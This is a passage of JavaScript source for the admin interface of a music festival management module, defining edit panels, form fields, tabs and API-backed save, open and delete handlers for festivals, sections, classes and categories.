'fields':{\n// 'inperson-choice-msg':{'label':'In Person Choice', 'type':'text', 'hint':'in person on a scheduled date'},\n// 'virtual-choice-msg':{'label':'Virtual Choice', 'type':'text', 'hint':'virtually and submit a video'},\n// }},\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'documents', 'tabs':{\n// 'website':{'label':'Website', 'fn':'M.ciniki_musicfestivals_main.edit.switchTab(\\'website\\');'},\n 'documents':{'label':'Documents', 'fn':'M.ciniki_musicfestivals_main.edit.switchTab(\\'documents\\');'},\n 'registrations':{'label':'Registrations', 'fn':'M.ciniki_musicfestivals_main.edit.switchTab(\\'registrations\\');'},\n }},\n '_primary_image_id':{'label':'Primary Image', 'type':'imageform', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'website' ? 'yes' : 'hidden'; },\n 'fields':{\n 'primary_image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\n 'addDropImage':function(iid) {\n M.ciniki_musicfestivals_main.edit.setFieldValue('primary_image_id', iid, null, null);\n return true;\n },\n 'addDropImageRefresh':'',\n 'deleteImage':function(fid) {\n M.ciniki_musicfestivals_main.edit.setFieldValue(fid,0);\n return true;\n },\n },\n }},\n '_description':{'label':'Description', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'website' ? 'yes' : 'hidden'; },\n 'fields':{\n 'description':{'label':'', 'hidelabel':'yes', 'type':'textarea'},\n }},\n '_document_logo_id':{'label':'Document Image', 'type':'imageform',\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\n 'fields':{\n 'document_logo_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\n 'addDropImage':function(iid) {\n M.ciniki_musicfestivals_main.edit.setFieldValue('document_logo_id', iid, null, null);\n return true;\n },\n 'addDropImageRefresh':'',\n 'deleteImage':function(fid) {\n M.ciniki_musicfestivals_main.edit.setFieldValue(fid,0);\n return true;\n },\n },\n }},\n '_document_header_msg':{'label':'Header Message', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\n 'fields':{\n 'document_header_msg':{'label':'', 'hidelabel':'yes', 'type':'text'},\n }},\n '_document_footer_msg':{'label':'Footer Message', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\n 'fields':{\n 'document_footer_msg':{'label':'', 'hidelabel':'yes', 'type':'text'},\n }},\n '_comments_pdf':{'label':'Comments PDF Options', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\n 'fields':{\n 'flags6':{'label':'Header Adjudicator Name', 'type':'flagtoggle', 'default':'off', 'bit':0x20, 'field':'flags'},\n 'flags7':{'label':'Timeslot Date/Time', 'type':'flagtoggle', 'default':'off', 'bit':0x40, 'field':'flags'},\n 'comments_grade_label':{'label':'Grade Label', 'default':'Mark', 'type':'text'},\n 'comments_footer_msg':{'label':'Footer Message', 'type':'text'},\n }},\n '_certificates_pdf':{'label':'Certificates PDF Options', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\n 'fields':{\n 'flags8':{'label':'Include Pronouns', 'type':'flagtoggle', 'default':'off', 'bit':0x80, 'field':'flags'},\n }},\n '_syllabus':{'label':'Syllabus Options', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\n 'fields':{\n 'flags5':{'label':'Include Section/Category as Class Name', 'type':'flagtoggle', 'default':'off', 'bit':0x0100, 'field':'flags'},\n }},\n '_registration_parent_msg':{'label':'Registration Form', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'registrations' ? 'yes' : 'hidden'; },\n 'fields':{\n 'registration-parent-msg':{'label':'Parents Intro', 'type':'textarea', 'size':'medium'},\n 'registration-teacher-msg':{'label':'Teachers Intro', 'type':'textarea', 'size':'medium'},\n 'registration-adult-msg':{'label':'Adult Intro', 'type':'textarea', 'size':'medium'},\n }},\n '_competitor_parent_msg':{'label':'Individual Competitor Form', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'registrations' ? 'yes' : 'hidden'; },\n 'fields':{\n 'competitor-parent-msg':{'label':'Parent Intro', 'type':'textarea', 'size':'medium'},\n 'competitor-teacher-msg':{'label':'Teacher Intro', 'type':'textarea', 'size':'medium'},\n 'competitor-adult-msg':{'label':'Adult Intro', 'type':'textarea', 'size':'medium'},\n 'competitor-individual-study-level':{'label':'Study Level', 'type':'toggle', 'default':'optional', 'toggles':{\n 'options':'Optional', 'required':'Required', 'hidden':'Hidden',\n }},\n }},\n '_competitor_group_parent_msg':{'label':'Group/Ensemble Competitor Form', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'registrations' ? 'yes' : 'hidden'; },\n 'fields':{\n 'competitor-group-parent-msg':{'label':'Parent Intro', 'type':'textarea', 'size':'medium'},\n 'competitor-group-teacher-msg':{'label':'Teacher Intro', 'type':'textarea', 'size':'medium'},\n 'competitor-group-adult-msg':{'label':'Adult Intro', 'type':'textarea', 'size':'medium'},\n 'competitor-group-study-level':{'label':'Study Level', 'type':'toggle', 'default':'optional', 'toggles':{\n 'options':'Optional', 'required':'Required', 'hidden':'Hidden',\n }},\n }},\n '_waiver':{'label':'Waiver Message', \n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'registrations' ? 'yes' : 'hidden'; },\n 'fields':{\n 'waiver-title':{'label':'Title', 'type':'text'},\n 'waiver-msg':{'label':'Message', 'type':'textarea', 'size':'medium'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.edit.save();'},\n 'updatename':{'label':'Update Public Names', \n 'visible':function() {return M.ciniki_musicfestivals_main.edit.festival_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.edit.updateNames();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.edit.festival_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.edit.save();'},\n }},\n };\n this.edit.fieldValue = function(s, i, d) { return this.data[i]; }\n this.edit.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.festivalHistory', 'args':{'tnid':M.curTenantID, 'festival_id':this.festival_id, 'field':i}};\n }\n this.edit.switchTab = function(tab) {\n this.sections._tabs.selected = tab;\n this.showHideSection('_primary_image_id');\n this.showHideSection('_description');\n this.showHideSection('_document_logo_id');\n this.showHideSection('_document_header_msg');\n this.showHideSection('_document_footer_msg');\n this.showHideSection('_comments_pdf');\n this.showHideSection('_certificates_pdf');\n this.showHideSection('_syllabus');\n this.showHideSection('_registration_parent_msg');\n this.showHideSection('_registration_teacher_msg');\n this.showHideSection('_registration_adult_msg');\n this.showHideSection('_competitor_parent_msg');\n this.showHideSection('_competitor_teacher_msg');\n this.showHideSection('_competitor_adult_msg');\n this.showHideSection('_competitor_group_parent_msg');\n this.showHideSection('_competitor_group_teacher_msg');\n this.showHideSection('_competitor_group_adult_msg');\n this.showHideSection('_waiver');\n this.refreshSection('_tabs');\n }\n this.edit.updateNames = function() {\n M.api.getJSONCb('ciniki.musicfestivals.registrationNamesUpdate', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.alert(\"Done\");\n });\n }\n this.edit.open = function(cb, fid, list) {\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.festivalGet', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.edit;\n p.data = rsp.festival;\n if( (rsp.festival.flags&0x02) == 0x02 ) {\n p.sections.general.fields.flags3.visible = 'yes';\n p.sections.general.fields.virtual_date.visible = 'yes';\n p.sections.general.fields.upload_end_dt.visible = 'yes';\n } else {\n p.sections.general.fields.virtual_date.visible = 'no';\n p.sections.general.fields.upload_end_dt.visible = 'no';\n }\n p.refresh();\n p.show(cb);\n });\n }\n this.edit.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.edit.close();'; }\n if( this.festival_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.festivalUpdate', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.festivalAdd', {'tnid':M.curTenantID}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.edit.festival_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.edit.remove = function() {\n M.confirm('Are you sure you want to remove festival?',null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.festivalDelete', {'tnid':M.curTenantID, 'festival_id':M.ciniki_musicfestivals_main.edit.festival_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.edit.close();\n });\n });\n }\n this.edit.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.festival_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.edit.save(\\'M.ciniki_musicfestivals_main.edit.open(null,' + this.nplist[this.nplist.indexOf('' + this.festival_id) + 1] + ');\\');';\n }\n return null;\n }\n this.edit.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.festival_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.edit.save(\\'M.ciniki_musicfestivals_main.festival_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.festival_id) - 1] + ');\\');';\n }\n return null;\n }\n this.edit.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.edit.save();');\n this.edit.addClose('Cancel');\n this.edit.addButton('next', 'Next');\n this.edit.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Section\n //\n this.section = new M.panel('Section', 'ciniki_musicfestivals_main', 'section', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.section');\n this.section.data = null;\n this.section.festival_id = 0;\n this.section.section_id = 0;\n this.section.nplists = {};\n this.section.nplist = [];\n this.section.sections = {\n '_primary_image_id':{'label':'Image', 'type':'imageform', 'aside':'yes', 'fields':{\n 'primary_image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\n 'addDropImage':function(iid) {\n M.ciniki_musicfestivals_main.section.setFieldValue('primary_image_id', iid);\n return true;\n },\n 'addDropImageRefresh':'',\n 'deleteImage':function(fid) {\n M.ciniki_musicfestivals_main.section.setFieldValue('primary_image_id',0);\n return true;\n },\n },\n }},\n 'general':{'label':'Section', 'aside':'yes', 'fields':{\n 'name':{'label':'Name', 'type':'text', 'required':'yes'},\n 'sequence':{'label':'Order', 'type':'text', 'required':'yes', 'size':'small'},\n 'flags':{'label':'Options', 'type':'flags', 'flags':{'1':{'name':'Hidden'}}},\n 'live_end_dt':{'label':'Live Deadline', 'type':'datetime',\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x08) == 0x08 ? 'yes' : 'no';},\n },\n 'virtual_end_dt':{'label':'Virtual Deadline', 'type':'datetime',\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x0a) == 0x0a ? 'yes' : 'no';},\n },\n 'edit_end_dt':{'label':'Edit Titles Deadline', 'type':'datetime',\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x0a) == 0x0a ? 'yes' : 'no';},\n },\n 'upload_end_dt':{'label':'Upload Deadline', 'type':'datetime',\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x0a) == 0x0a ? 'yes' : 'no';},\n },\n }},\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'categories', 'tabs':{\n 'categories':{'label':'Categories', 'fn':'M.ciniki_musicfestivals_main.section.switchTab(\\'categories\\');'},\n 'synopsis':{'label':'Description', 'fn':'M.ciniki_musicfestivals_main.section.switchTab(\\'synopsis\\');'},\n }},\n '_synopsis':{'label':'Synopsis', \n 'visible':function() { return M.ciniki_musicfestivals_main.section.sections._tabs.selected == 'synopsis' ? 'yes' : 'hidden'; },\n 'fields':{'synopsis':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'small'}},\n },\n '_description':{'label':'Description', \n 'visible':function() { return M.ciniki_musicfestivals_main.section.sections._tabs.selected == 'synopsis' ? 'yes' : 'hidden'; },\n 'fields':{'description':{'label':'', 'hidelabel':'yes', 'type':'textarea'}},\n },\n 'categories':{'label':'Categories', 'type':'simplegrid', 'num_cols':1,\n 'visible':function() { return M.ciniki_musicfestivals_main.section.sections._tabs.selected == 'categories' ? 'yes' : 'hidden'; },\n 'addTxt':'Add Category',\n 'addFn':'M.ciniki_musicfestivals_main.section.openCategory(0);',\n },\n '_buttons':{'label':'', 'buttons':{\n 'syllabuspdf':{'label':'Download Syllabus (PDF)', 'fn':'M.ciniki_musicfestivals_main.section.downloadSyllabusPDF();'},\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.section.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.section.section_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.section.remove();'},\n }},\n };\n this.section.fieldValue = function(s, i, d) { return this.data[i]; }\n this.section.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.sectionHistory', 'args':{'tnid':M.curTenantID, 'section_id':this.section_id, 'field':i}};\n }\n this.section.cellValue = function(s, i, j, d) {\n switch (j) {\n case 0: return d.name;\n }\n }\n this.section.rowFn = function(s, i, d) {\n return 'M.ciniki_musicfestivals_main.section.openCategory(\\'' + d.id + '\\');';\n }\n this.section.openCategory = function(cid) {\n this.save(\"M.ciniki_musicfestivals_main.category.open('M.ciniki_musicfestivals_main.section.open();', '\" + cid + \"', this.section_id, this.festival_id, this.nplists.categories);\");\n }\n this.section.switchTab = function(tab) {\n this.sections._tabs.selected = tab;\n this.refresh();\n this.show();\n }\n this.section.downloadSyllabusPDF = function() {\n M.api.openPDF('ciniki.musicfestivals.festivalSyllabusPDF', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'section_id':this.section_id});\n }\n this.section.open = function(cb, sid, fid, list) {\n if( sid != null ) { this.section_id = sid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.sectionGet', {'tnid':M.curTenantID, 'section_id':this.section_id, 'festival_id':this.festival_id, 'categories':'yes'}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.section;\n p.data = rsp.section;\n p.festival_id = rsp.section.festival_id;\n p.nplists = {};\n if( rsp.nplists != null ) {\n p.nplists = rsp.nplists;\n }\n p.refresh();\n p.show(cb);\n });\n }\n this.section.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.section.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.section_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.sectionUpdate', {'tnid':M.curTenantID, 'section_id':this.section_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.sectionAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.section.section_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.section.remove = function() {\n M.confirm('Are you sure you want to remove section?',null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.sectionDelete', {'tnid':M.curTenantID, 'section_id':M.ciniki_musicfestivals_main.section.section_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.section.close();\n });\n });\n }\n this.section.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.section_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.section.save(\\'M.ciniki_musicfestivals_main.section.open(null,' + this.nplist[this.nplist.indexOf('' + this.section_id) + 1] + ');\\');';\n }\n return null;\n }\n this.section.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.section_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.section.save(\\'M.ciniki_musicfestivals_main.section.open(null,' + this.nplist[this.nplist.indexOf('' + this.section_id) - 1] + ');\\');';\n }\n return null;\n }\n this.section.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.section.save();');\n this.section.addClose('Cancel');\n this.section.addButton('next', 'Next');\n this.section.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Section Classes\n //\n this.classes = new M.panel('Section', 'ciniki_musicfestivals_main', 'classes', 'mc', 'full', 'sectioned', 'ciniki.musicfestivals.main.classes');\n this.classes.data = null;\n this.classes.festival_id = 0;\n this.classes.section_id = 0;\n this.classes.nplists = {};\n this.classes.nplist = [];\n this.classes.sections = {\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'fees', \n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x40); },\n 'tabs':{\n 'fees':{'label':'Fees', 'fn':'M.ciniki_musicfestivals_main.classes.switchTab(\"fees\");'},\n 'trophies':{'label':'Trophies', 'fn':'M.ciniki_musicfestivals_main.classes.switchTab(\"trophies\");'},\n }},\n 'classes':{'label':'Classes', 'type':'simplegrid', 'num_cols':7,\n 'headerValues':['Order', 'Category', 'Code', 'Class', 'Levels', 'Earlybird', 'Live', 'Virtual'],\n 'sortable':'yes',\n 'sortTypes':['text', 'text', 'text', 'text', 'number', 'number', 'number'],\n 'dataMaps':['joined_sequence', 'category_name', 'code', 'class_name', 'level', 'earlybird_fee', 'fee', 'virtual_fee'],\n },\n/* '_buttons':{'label':'', 'halfsize':'yes', 'buttons':{\n 'syllabuspdf':{'label':'Download Syllabus (PDF)', 'fn':'M.ciniki_musicfestivals_main.section.downloadSyllabusPDF();'},\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.section.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.section.section_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.section.remove();'},\n }}, */\n };\n this.classes.switchTab = function(t) {\n this.sections._tabs.selected = t;\n this.open();\n }\n this.classes.cellValue = function(s, i, j, d) {\n if( this.sections.classes.dataMaps[j] != null ) {\n if( this.sections.classes.dataMaps[j].match(/fee/) ) {\n return M.formatDollar(d[this.sections.classes.dataMaps[j]]);\n }\n if( this.sections.classes.dataMaps[j] == 'num_registrations' && d[this.sections.classes.dataMaps[j]] == 0 ) {\n return '';\n }\n return d[this.sections.classes.dataMaps[j]];\n }\n }\n this.classes.rowFn = function(s, i, d) {\n return 'M.ciniki_musicfestivals_main.class.open(\\'M.ciniki_musicfestivals_main.classes.open();\\',\\'' + d.id + '\\',\\'' + d.category_id + '\\',\\'' + this.festival_id + '\\',M.ciniki_musicfestivals_main.classes.nplists.classes);';\n }\n this.classes.downloadSyllabusPDF = function() {\n M.api.openPDF('ciniki.musicfestivals.festivalSyllabusPDF', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'section_id':this.section_id});\n }\n this.classes.open = function(cb, sid, fid, list) {\n if( sid != null ) { this.section_id = sid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.sectionClasses', {'tnid':M.curTenantID, 'section_id':this.section_id, 'festival_id':this.festival_id, 'list':this.sections._tabs.selected}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.classes;\n p.data = rsp;\n p.sections.classes.headerValues = ['Order', 'Category', 'Code', 'Class'];\n p.sections.classes.sortTypes = ['text', 'text', 'text', 'text'];\n p.sections.classes.dataMaps = ['joined_sequence', 'category_name', 'code', 'class_name'];\n if( p.sections._tabs.selected == 'trophies' ) {\n p.sections.classes.headerValues.push('Trophies');\n p.sections.classes.sortTypes.push('text');\n p.sections.classes.dataMaps.push('trophies');\n } else {\n if( M.modFlagOn('ciniki.musicfestivals', 0x1000) ) {\n p.sections.classes.headerValues.push('Levels');\n p.sections.classes.sortTypes.push('text');\n p.sections.classes.dataMaps.push('levels');\n }\n p.sections.classes.headerValues.push('Earlybird');\n p.sections.classes.sortTypes.push('number');\n p.sections.classes.dataMaps.push('earlybird_fee');\n p.sections.classes.headerValues.push('Fee');\n p.sections.classes.sortTypes.push('number');\n p.sections.classes.dataMaps.push('fee');\n if( (rsp.festival.flags&0x04) == 0x04 ) {\n p.sections.classes.headerValues.push('Virtual');\n p.sections.classes.sortTypes.push('number');\n p.sections.classes.dataMaps.push('virtual_fee');\n }\n if( M.modFlagOn('ciniki.musicfestivals', 0x0800) ) {\n p.sections.classes.headerValues.push('Earlybird Plus');\n p.sections.classes.sortTypes.push('number');\n p.sections.classes.dataMaps.push('earlybird_plus_fee');\n p.sections.classes.headerValues.push('Plus');\n p.sections.classes.sortTypes.push('number');\n p.sections.classes.dataMaps.push('plus_fee');\n }\n p.sections.classes.headerValues.push('Registrations');\n p.sections.classes.sortTypes.push('number');\n p.sections.classes.dataMaps.push('num_registrations');\n p.sections.classes.num_cols = p.sections.classes.headerValues.length;\n }\n\n p.festival_id = rsp.section.festival_id;\n p.sections.classes.label = rsp.section.name + ' - Classes';\n p.nplists = {};\n if( rsp.nplists != null ) {\n p.nplists = rsp.nplists;\n }\n p.refresh();\n p.show(cb);\n });\n }\n this.classes.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.section_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.classes.open(null,' + this.nplist[this.nplist.indexOf('' + this.section_id) + 1] + ');';\n }\n return null;\n }\n this.classes.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.section_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.classes.open(null,' + this.nplist[this.nplist.indexOf('' + this.section_id) - 1] + ');';\n }\n return null;\n }\n this.classes.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.section.save();');\n this.classes.addClose('Cancel');\n this.classes.addButton('next', 'Next');\n this.classes.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Category\n //\n this.category = new M.panel('Category', 'ciniki_musicfestivals_main', 'category', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.category');\n this.category.data = null;\n this.category.category_id = 0;\n this.category.nplists = {};\n this.category.nplist = [];\n this.category.sections = {\n '_primary_image_id':{'label':'Image', 'type':'imageform', 'aside':'yes', 'fields':{\n 'primary_image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\n 'addDropImage':function(iid) {\n M.ciniki_musicfestivals_main.category.setFieldValue('primary_image_id', iid);\n return true;\n },\n 'addDropImageRefresh':'',\n 'deleteImage':function(fid) {\n M.ciniki_musicfestivals_main.category.setFieldValue(fid,0);\n return true;\n },\n },\n }},\n 'general':{'label':'', 'aside':'yes', 'fields':{\n 'section_id':{'label':'Section', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}},\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\n 'sequence':{'label':'Order', 'required':'yes', 'type':'text'},\n }},\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'classes', 'tabs':{\n 'classes':{'label':'Classes', 'fn':'M.ciniki_musicfestivals_main.category.switchTab(\\'classes\\');'},\n 'synopsis':{'label':'Description', 'fn':'M.ciniki_musicfestivals_main.category.switchTab(\\'synopsis\\');'},\n }},\n '_synopsis':{'label':'Synopsis', \n 'visible':function() { return M.ciniki_musicfestivals_main.category.sections._tabs.selected == 'synopsis' ? 'yes' : 'hidden'; },\n 'fields':{'synopsis':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'small'}},\n },\n '_description':{'label':'Description', \n 'visible':function() { return M.ciniki_musicfestivals_main.category.sections._tabs.selected == 'synopsis' ? 'yes' : 'hidden'; },\n 'fields':{'description':{'label':'', 'hidelabel':'yes', 'type':'textarea'}},\n },\n 'classes':{'label':'Classes', 'type':'simplegrid', 'num_cols':5,\n 'visible':function() { return M.ciniki_musicfestivals_main.category.sections._tabs.selected == 'classes' ? 'yes' : 'hidden'; },\n 'headerValues':['Code', 'Name', 'Earlybird', 'Fee', 'Virtual'],\n 'addTxt':'Add Class',\n 'addFn':'M.ciniki_musicfestivals_main.category.openClass(0);',\n },\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.category.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.category.category_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.category.remove();'},\n }},\n };\n this.category.fieldValue = function(s, i, d) { return this.data[i]; }\n this.category.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.categoryHistory', 'args':{'tnid':M.curTenantID, 'category_id':this.category_id, 'field':i}};\n }\n this.category.cellValue = function(s, i, j, d) {\n switch (j) {\n case 0: return d.code;\n case 1: return d.name;\n case 2: return (d.earlybird_fee > 0 ? M.formatDollar(d.earlybird_fee) : '');\n case 3: return (d.fee > 0 ? M.formatDollar(d.fee) : '');\n case 4: return (d.virtual_fee > 0 ? M.formatDollar(d.virtual_fee) : '');\n }\n }\n this.category.rowFn = function(s, i, d) {\n return 'M.ciniki_musicfestivals_main.category.openClass(\\'' + d.id + '\\');';\n }\n this.category.openClass = function(cid) {\n this.save(\"M.ciniki_musicfestivals_main.class.open('M.ciniki_musicfestivals_main.category.open();','\" + cid + \"', this.category_id, this.festival_id, this.nplists.classes);\");\n }\n this.category.switchTab = function(tab) {\n this.sections._tabs.selected = tab;\n this.refresh();\n this.show();\n }\n this.category.open = function(cb, cid, sid,fid,list) {\n if( cid != null ) { this.category_id = cid; }\n if( sid != null ) { this.section_id = sid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.categoryGet', {'tnid':M.curTenantID, \n 'category_id':this.category_id, 'festival_id':this.festival_id, 'section_id':this.section_id,\n 'sections':'yes', 'classes':'yes'}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.category;\n p.data = rsp.category;\n p.nplists = {};\n if( rsp.nplists != null ) {\n p.nplists = rsp.nplists;\n }\n p.sections.general.fields.section_id.options = rsp.sections;\n if( M.ciniki_musicfestivals_main.festival.data.flags != null \n && (M.ciniki_musicfestivals_main.festival.data.flags&0x04) == 0x04 \n ) {\n p.sections.classes.num_cols = 5;\n } else {\n p.sections.classes.num_cols = 4;\n }\n\n p.refresh();\n p.show(cb);\n });\n }\n this.category.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.category.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.category_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.categoryUpdate', {'tnid':M.curTenantID, 'category_id':this.category_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.categoryAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.category.category_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.category.remove = function() {\n M.confirm('Are you sure you want to remove category?',null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.categoryDelete', {'tnid':M.curTenantID, 'category_id':M.ciniki_musicfestivals_main.category.category_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.category.close();\n });\n });\n }\n this.category.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.category_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.category.save(\\'M.ciniki_musicfestivals_main.category.open(null,' + this.nplist[this.nplist.indexOf('' + this.category_id) + 1] + ');\\');';\n }\n return null;\n }\n this.category.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.category_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.category.save(\\'M.ciniki_musicfestivals_main.category.open(null,' + this.nplist[this.nplist.indexOf('' + 